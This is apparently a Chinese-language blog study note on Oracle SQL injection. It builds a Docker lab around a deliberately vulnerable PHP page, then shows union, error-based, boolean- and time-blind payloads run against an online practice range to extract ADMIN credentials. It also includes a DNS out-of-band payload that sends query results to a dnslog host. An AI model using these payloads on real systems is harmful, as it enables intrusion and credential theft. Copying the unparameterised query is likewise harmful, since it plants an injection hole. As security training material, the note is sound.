Oracle注入学习笔记
在 docker 搭建环境,尽量全面的实践一下 oracle 注入漏洞(碎碎念:最近觉得有些迷茫,有些事情真的是命运的安排啊,既然暂时不知道该怎么办就好好努力叭)对了,这里只记录对我个人理解很有帮助的地方和我印象比较深的特性,其他更细节的内容可以参考官方文档 https://docs.oracle.com/en/ 和文末师傅们的博客
一、环境搭建
1.1安装oracle 12c并数据持久化
查询镜像:docker search oracle
下载镜像:docker pull docker.io/truevoly/oracle-12c
查看镜像:docker images
(删除镜像:docker rmi <your-image-id>)
创建备份数据存放目录:
mkdir /usr/local/oracle/data_temp && chmod 777 /usr/local/oracle/data_temp
启动 oracle:
docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c
- --name myoracle 容器名字
- --restart alwaysdocker 重启时容器自动启动
- -d 后台运行容器并返回容器ID
- -p 本机端口:容器端口 端口映射
- -e ORACLE_ALLOW_REMOTE=true 设置允许远程连接
- -v 本地目录:容器目录 挂载本地目录,将数据保留在本机来达到数据持久化的目的
查看安装进度:docker logs -f 容器ID
进入容器:docker exec -it myoracle env LANG=C.UTF-8 /bin/bash
- -it 容器名
- env LANG=C.UTF-8 正常处理中文
创建 sqlplus 的软链接:ln -s $ORACLE_HOME/bin/sqlplus /usr/bin
切换到 oracle 账户:su oracle
连接 oracle(以操作系统权限认证的 oracle sys 管理员登陆):sqlplus / as sysdba
新建用户并赋予权限
#创建数据库表空间名 SQL> create tablespace pentest datafile '/u01/app/oracle/oradata/xe/pentest.dbf' size 100m; Tablespace created. #创建用户并指定表空间 SQL> create user sqltest identified by Ssdlh12345 default tablespace pentest;User created. #赋权 SQL> grant connect,resource,dba to sqltest; Grant succeeded. SQL> exit Disconnected from Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production #sqltest用户连接 oracle@b25a6b033f93:/$ $ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345 SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 25 06:30:45 2021 Copyright (c) 1982, 2014, Oracle. All rights reserved. Connected to: Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production SQL>
插入测试数据(数据参考博客贴在最后面了)
#建表 SQL> CREATE TABLE users (id number,name varchar(500),surname varchar(1000)); Table created. #导入数据 SQL> INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header'); INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); commit;
1.2安装apache-php-oracle
查询镜像:docker search docker-apache-php-oracle
下载镜像:docker pull thomasbisignani/docker-apache-php-oracle
启动 apache-php-oracle:
docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle
查看安装进度时有一个警告,但是不影响什么
在 /usr/local/oracle/sample 目录新建 oracle 注入靶场文件 oracle_test.php
<?php $username = 'sqltest'; $password = 'Ssdlh12345'; $connectText = '//ip.ip.ip.ip:1521/XE'; $conn = oci_connect($username, $password, $connectText); if (!$conn) { $e = oci_error(); echo 'Oracle connect failed <br />'; exit($e['message']); } echo 'Oracle connect ok' . "<br>"; // Prepare the statement if (!isset($_GET['id']) || $_GET['id'] == null) { echo "oracle sqlinjection test: oracle_test.php?id=1</br>"; $stid = oci_parse($conn, "select * from USERS"); } else { //SQL injection!!!!!! $stid = oci_parse($conn, "SELECT * FROM users where id=" . $_GET['id']); } if (!$stid) { $e = oci_error($conn); exit($e['message']); } // Perform the logic of the query $r = oci_execute($stid); if (!$r) { $e = oci_error($stid); exit($e['message']); } // Fetch the results of the query print "<table border='1'>\n"; while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) { print "<tr>\n"; foreach ($row as $item) { $item = ($item !== null ? mb_convert_encoding($item, 'utf-8', 'gbk') : " "); print " <td>" . $item . "</td>\n"; } print "</tr>\n"; } print "</table>\n"; oci_free_statement($stid); oci_close($conn); ?>
浏览器访问
1.3测试环境启动小结
每次实验完停止并删除容器
docker stop myoracle
docker rm myoracle
docker stop myphp
docker rm myphp
需要时再次执行以下命令启动环境
#启动oracle docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c #启动apache-php-oracle docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle #进入oracle容器里面 docker exec -it myoracle env LANG=C.UTF-8 /bin/bash #以sqltest身份进入oracle命令行 $ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345 #修改php 修改/usr/local/oracle/sample下的文件 #浏览器访问 vps ip:8090
二、oracle基础学习
快速掌握新知识的一个好方法是,学习它的特性和类比其它已经掌握的知识,对照着学习它和旧知识的共同点和不同点,学习 oracle 基础知识浏览了很多博客,发现很多师傅都是按照这个思路讲解,在这里记录一些对于我来说理解 oracle 基础很有帮助的思路,参考博客都贴在最后了
2.1oracle特性
- 数据库中使用的语言有三种:SQL,JAVA,PL/SQL(块结构语言,类似存储过程是一种过程化的语言)
- 一个新概念:表空间(数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库),oracle 没有 mysql 的数据库概念,而是用表空间来代替,一个 oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间,创建数据库就是开辟账户的表空间
- 当数据库创建时,oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP
1.SYSTEM:存储系统表和管理配置等基本信息
(系统表:
-
-
- DBA_TABLES : 系统里所有的表的信息,需要DBA权限才能查询
- ALL_TABLES : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
- USER_TABLES: 当前用户名下的表的信息
- DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
- ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表)
-
2.SYSAUX:类似SYSTEM,主要存放一些系统附加信息,以便减轻SYSTEM的空间负担
3.UNDOTBS:用于事务回退等
4.TEMP:作为缓存空间减少内存负担
5.USERS:存储我们定义的表和数据
- 虚表 dual:它没有实际的存储意义,永远只存储一条数据,因为 oracle 的语法要求 select 后必须跟上 from,所以通常使用 dual 来作为计算、查询时间等SQL语句中 from 之后的虚表占位,例如 select 1+1 from dual
- 角色:oracle 对于将用户权限的集合称为角色
- DBA:拥有全部特权,是系统最高权限,只有 dba 才可以创建数据库结构
- RESOURCE:拥有 resource 权限的用户只可以创建实体,不可以创建数据库结构
- CONNECT:拥有 connect 权限的用户只可以登录 oracle,不可以创建实体,不可以创建数据库结构
- 用户:创建数据库时,会默认启用 sys、system 等用户
- sys:相当于 linux 的 root 用户,dba 角色
- system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行,为 dba 角色
- public:public 代指所有用户,对其操作会应用到所有用户上(所有用户都有 public 用户拥有的权限,如果将 dba 权限给了 public,那么也就意味着所有用户都有了 dba 权限)
2.2语法
语法这里和熟悉的 mysql 对照着看
查询服务器版本:
#oracle SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT version FROM v$instance; #mysql select version();
查询数据库信息:
#oracle SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; #mysql select database();
查询数据库用户:
#oracle SELECT user FROM dual; #mysql user();
查询表名:
#oracle SELECT table_name FROM all_tables; #mysql select table_name from information_schema.tables;
查询字段名:
#oracle SELECT column_name FROM all_tab_columns; #mysql select COLUMN_NAME from information_schema.COLUMNS;
拼接字符:
#oracle SELECT 'a' || 'b' FROM dual; #mysql select 'a' 'b';
空字符串:
#oracle 只有null,没有空字符 #mysql 区分null和''空字符串
第 n 行数据:
#oracle select * from users where rownum <=2; #mysql select * from users limit 2;
2.2注入
2.3.1联合注入
原本是想用我自己搭在服务器上的靶场实验的,但是由于国外服务器配置低 + 延时高 + 开了两个容器太卡了(meiqianmaigaopei),为了节约那么多卡住等待的时间,还是换成 oracle 在线靶场实验吧,靶场:http://o1.lab.aqlab.cn:81/?id=1
判断注入点和注入类型,为数字型注入
http://o1.lab.aqlab.cn:81/?id=1 and 1<>2 页面显示正常 http://o1.lab.aqlab.cn:81/?id=1 and 1<>1 页面显示不正常
判断字段数为 4
http://o1.lab.aqlab.cn:81/?id=1 order by 4 页面显示正常 http://o1.lab.aqlab.cn:81/?id=1 order by 5 页面显示不正常
分别在 4 个字段输出字符,判断回显点为第 2 位,to_nchar() 函数可以将字符数据从任何支持的字符集转换为NCHAR字符集,NCHAR数据类型是固定长度的UNICODE数据,NCHAR和CHAR是不能直接互相兼容的,要通过 Oracle 的函数或者语法进行转换
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar('abc'),null,null from dual 页面显示字符abc
查询表名
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where rownum=1-- 查询第一个表名为NEWS http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'-- 查询第二个表名为ADMIN http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN'-- 查询第三个表名为MD5 http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN' and table_name<>'MD5'-- 提示没有找到对应的数据即一共只有三个数据表,分别为NEWS、ADMIN、MD5
这样一个一个的查表效率有点低,还可以先查询用户名,再用类似 mysql 中 group_concat() 的方式查询表名
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select user from dual)),null,null from dual-- 查询用户名为ORACLE1 http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='ORACLE1')),null,null from dual -- 查询表名
查询ADMIN表的字段名为UNAME和UPASS
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'-- 查询第一个字段名为UNAME http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN' and column_name<>'UNAME'-- 查询第二个字段名为UPASS
获取表中数据,这里只查询ADMIN表中的一组数据,原理和查询表名、字段名相同
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UNAME),null,null from ADMIN where rownum=1-- 查询ADMIN表中的一条UNAME数据
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UPASS),null,null from ADMIN where UNAME='OCI'-- 查询UNAME为OCI的UPASS数据
2.3.2报错注入
可以使用的报错注入函数有很多种,这里就实验比较常见的 ctxsys.drithsx.sn() 函数,其他报错函数语法类似,有需要时再查即可。此函数在 oracle 中用于处理文本,当传入参数类型错误时,会返回异常报错,注入方法是 1=ctxsys.drithsx.sn(1,(查询语句)) ,靶场和上文相同
查询表名
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))-- 查询第一个表名为ADMIN http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN'))-- 查询第二个表名为NEWS http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name <> 'NEWS'))-- 查询第三个表名为MD5
查询ADMIN表的字段名为UNAME和UPASS
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN'))-- 查询ADMIN表的第一个字段名为UNAME http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name <> 'UNAME'))-- 查询ADMIN表的第二个字段名为UPASS
获取表中数据,这里只查询ADMIN表中的一组数据
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))-- 查询ADMIN表中的一条UNAME数据 http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where UNAME='OCI'))-- 查询UNAME为OCI的UPASS数据
2.3.3布尔盲注
靶场和上文相同,由上文可知ADMIN表中第一条UNAME数据为OCI,手工验证一下,只有尝试到字符C时页面显示正常,其余显示“没有找到对应数据”,可以用 burp 或者写脚本的方式批量查询数据
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',1,0) from dual)-- 查询ADMIN表中UNAME第一条数据的第二个字母为C
解释一下布尔盲注使用的函数:
- decode(字段或字段运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段运算的值等于值1时,该函数返回值2,否则返回3
- substr(需要截取的字符串,起始位置,截取长度)
注:起始位置从0和从1开始都是表示从字符串首位开始截取
2.3.4时间盲注
在这个靶场上我实验了两种时间盲注方式没有成功,先记录下学到的知识点,以后找机会实践吧,第一种方式是 decode() 函数与高耗时SQL操作组合进行时间盲注,因为 (select count(*) from all_objects) 是对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,可以通过这个方式来获取数据,但是可能由于这个靶场数据量太小了,高耗时的现象不明显导致无法判断,所以这个方法的缺点是不太准
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',(select count(*) from all_objects),0) from dual)--
第二种盲注原理是 dbms_pipe.receive_message() 函数将为从RDS管道返回的数据等待 5 秒,默认情况下允许以 public 权限执行,我这里两条语句报错都是下图,推测是 oracle 版本问题,如果是我语句构造的问题欢迎实验成功的师傅留言或私信
http://o1.lab.aqlab.cn:81/?id=1 and 1=dbms_pipe.receive_message('RDS', 5)-- 判断时间盲注 http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',dbms_pipe.receive_message('RDS',5),0) from dual)-- 查询ADMIN表中UNAME第一条数据的第二个字母为C
2.3.5OOB查询
OOB是 Out Of Band Channels 的缩写,译为带外通道。它使用一些除常规通道以外的替代的信道来请求服务器资源,一般使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取 sql 语句查询的结果,这个原理和我曾经写过的一篇利用 dnslog 进行 sql 盲注的随笔很像,地址是:https://www.cnblogs.com/wkzb/p/12682073.html
这里实验一下DNS解析带外,使用的是 utl_inaddr.get_host_address() 函数,还有一些其他函数也可以实现同样的效果,语法类似,有需要时再查即可
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(utl_inaddr.get_host_address((select UNAME from ADMIN where rownum=1)||'.crmg79.dnslog.cn')),null,null from dual-- 查询ADMIN表中的一条UNAME数据
在此靶场上没有实验成功,搜索报错找到失败原因是没有为目标主机分配访问控制列表(ACL),或者访问控制列表中的用户没有授予访问目标主机所需的权限,所以语句是没有问题的,有合适机会的时候再尝试这种数据查询方式吧
三、总结
写这篇笔记时中途又去学习了任意邮件伪造的相关知识(学习成果是前两篇随笔),所以断断续续用了几个晚上才学习、整理完 oracle 注入笔记。有 mysql 注入的基础后 oracle 注入很快就可以入门,无论是常规的几种注入方式还是带外通道查询原理都是相通的,如果本文出现了技术错误欢迎师傅们批评指正~
如果在自己的 vps 上实验还可以直接在命令行执行 sql 查询语句,这样可以更直观的理解(坏就坏在我的 vps 太卡了严重影响了效率,但是它太便宜了我又舍不得换,有钱了一定买个不卡的!!)对了在此提醒自己有机会还要再实验一下 oracle 提权、oracle xxe 等其他操作
参考文章:
https://www.jianshu.com/p/fb00d47ba3d9
https://www.fengwenhua.top/index.php/archives/39/
https://about.sentrylab.cn/help/ALL-SQL-INJECTION-ANALYSIS/
https://y4er.com/post/oracle-sql-inject/
https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
https://www.chabug.org/web/1827.html
https://www.jianshu.com/p/5a4d6ab26bc6
https://www.zhihuifly.com/t/topic/1321
https://xz.aliyun.com/t/7897#toc-10